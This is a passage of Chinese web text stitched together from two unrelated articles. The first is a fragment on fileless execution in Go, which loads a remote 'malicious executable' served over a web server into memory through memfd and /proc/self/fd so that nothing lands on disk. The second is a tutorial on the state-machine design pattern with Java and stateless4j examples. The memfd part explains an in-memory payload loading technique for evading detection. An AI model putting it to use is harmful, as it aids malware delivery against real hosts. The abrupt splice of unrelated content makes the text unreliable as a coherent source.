      :这是一个特殊的目录,它包含了当前进程打开的所有文件描述符的符号链接。每个符号链接指向一个实际打开的文件或设备。
    • fmt.Sprint(memFile.Fd())
      :将内存文件的文件描述符转换为字符串。
    • []string{}
      :这是传递给
      Exec
      的参数列表,这里为空,意味着没有传递任何命令行参数。
    • os.Environ()
      :这是传递给
      Exec
      的环境变量列表,它包含了当前进程的环境变量。

示例

编写一个演示程序,每隔3秒打印一个数字,并编译为二进制可执行文件,作为演示的远端恶意可执行文件

开启web服务

将上述代码编译为二进制可执行文件
memfd
,并执行

在执行过程中查看文件执行位置,并不存在远端文件落地,该文件是被直接加载到内存中,替换了 memfd进程的映像为我们的远端恶意程序。

欢迎关注 公众号 “D1TASec” ,获取更多姿势。

状态机(State Machine)是一种设计模式,用于描述对象在不同状态之间的转换和行为。状态机可以帮助开发者管理复杂的状态逻辑,使得系统在不同状态下的行为更易于理解和维护。以下是关于状态机设计模式的详细介绍。

1. 状态机的基本概念

  • 状态
    :表示对象在某一时刻的情况或条件。例如,订单的状态可以是“新建”、“处理中”、“已完成”。
  • 事件
    :导致状态变化的触发器,例如用户操作、时间到达或其他外部输入。
  • 状态转移
    :从一个状态到另一个状态的过程,通常由事件驱动。
  • 上下文
    :持有状态机当前状态及相关数据的对象。

2. 状态机的组成部分

状态机通常由以下几个组成部分构成:

  • 状态(States)
    :定义了系统可能处于的所有状态。
  • 事件(Events)
    :触发状态变迁的事件。
  • 转移(Transitions)
    :描述状态之间的转换规则,通常与特定事件关联。
  • 行为(Actions)
    :在状态进入、退出或转移时执行的操作。

3. 状态机的类型

状态机可以分为两种主要类型:

  • 有限状态机(Finite State Machine, FSM)
    :状态数量有限,适用于大多数场景。
  • 层次状态机(Hierarchical State Machine)
    :允许状态嵌套,可以更好地组织复杂的状态逻辑。

4. 状态机的优点

  • 清晰性
    :将状态和行为明确分开,使代码更加易读和可维护。
  • 灵活性
    :便于修改和扩展状态逻辑,例如添加新的状态或事件。
  • 可测试性
    :每个状态和转移都可以独立测试,提高了系统的可靠性。

5. 状态机的实现

状态机可以通过多种方式实现,常见的方法包括:

  • 使用条件语句(if-else 或 switch-case)
    :简单的状态机可以用条件语句直接实现,但随着状态和事件的增加,代码会变得复杂且难以维护。

  • 状态模式(State Pattern)
    :一种面向对象的设计模式,通过创建状态类来封装状态相关的行为,实现动态状态切换。

  • 状态机框架
    :使用现有的状态机库或框架(如
    Stateless4j

    Spring State Machine
    等)来简化状态机的创建和管理。

6. 状态模式示例

下面是一个使用状态模式实现简单状态机的示例,展示如何管理订单的状态。

// 定义状态接口
interface OrderState {
    void handle(OrderContext context);
}

// 具体状态实现
class NewOrderState implements OrderState {
    public void handle(OrderContext context) {
        System.out.println("Handling new order.");
        context.setState(new ProcessingOrderState());
    }
}

class ProcessingOrderState implements OrderState {
    public void handle(OrderContext context) {
        System.out.println("Processing order.");
        context.setState(new CompletedOrderState());
    }
}

class CompletedOrderState implements OrderState {
    public void handle(OrderContext context) {
        System.out.println("Order completed.");
    }
}

// 上下文类
class OrderContext {
    private OrderState state;

    public OrderContext() {
        this.state = new NewOrderState(); // 初始状态
    }

    public void setState(OrderState state) {
        this.state = state;
    }

    public void request() {
        state.handle(this);
    }
}

// 客户端代码
public class StatePatternDemo {
    public static void main(String[] args) {
        OrderContext order = new OrderContext();
        order.request(); // 处理新订单
        order.request(); // 处理中的订单
        order.request(); // 订单已完成
    }
}

7. 总结

状态机设计模式是管理复杂状态和行为的一种有效方法。通过将状态、事件和转移逻辑清晰地分开,状态机使得程序的结构更加清晰,易于理解和维护。无论是在游戏开发、工作流管理还是其他需要状态管理的应用中,状态机都是一种非常有用的工具。使用现有的状态机框架可以进一步简化开发过程,提高效率。

轻量级状态机stateless4j的使用

[
  {
    "state": "待付款",
    "trigger": "用户付款",
    "destinationState": "待发货"
  },
  {
    "state": "待发货",
    "trigger": "发货",
    "destinationState": "待收货"
  },
  {
    "state": "待收货",
    "trigger": "确认收货",
    "destinationState": "已完成"
  },
  {
    "state": "已完成",
    "trigger": "评价",
    "destinationState": "已评价"
  },
  {
    "state": "已评价",
    "trigger": "删除",
    "destinationState": "已删除"
  }
]

测试用例

/**
	 * 状态从file中读取
	 */
	@Test
	public void stateFromDb() throws IOException {
		String content = FileUtils.readToEnd(
				StateMachineExample.class.getClassLoader().getResourceAsStream("stateless.json"),
				Charset.defaultCharset());
		StateMachineConfig<String, String> stateMachineConfig = new StateMachineConfig<>();

		List<Map<String, String>> map = objectMapper.readValue(content, new TypeReference<List<Map<String, String>>>() {
		});
		map.forEach(o -> {
			String state = o.get("state");
			String trigger = o.get("trigger");
			String destinationState = o.get("destinationState");
			stateMachineConfig.configure(state).permit(trigger, destinationState);
		});
		StateMachine<String, String> stateMachine = new StateMachine<>("待收货", stateMachineConfig);
		log.info("当前状态:{}", stateMachine.getState());
		stateMachine.fire("确认收货");
		log.info("当前状态:{}", stateMachine.getState());

	}

结果

如果你的state和trigger不一致,比如状态是
待收获
,你的动作是
评价
,那状态机就会报错,状态不能正确更新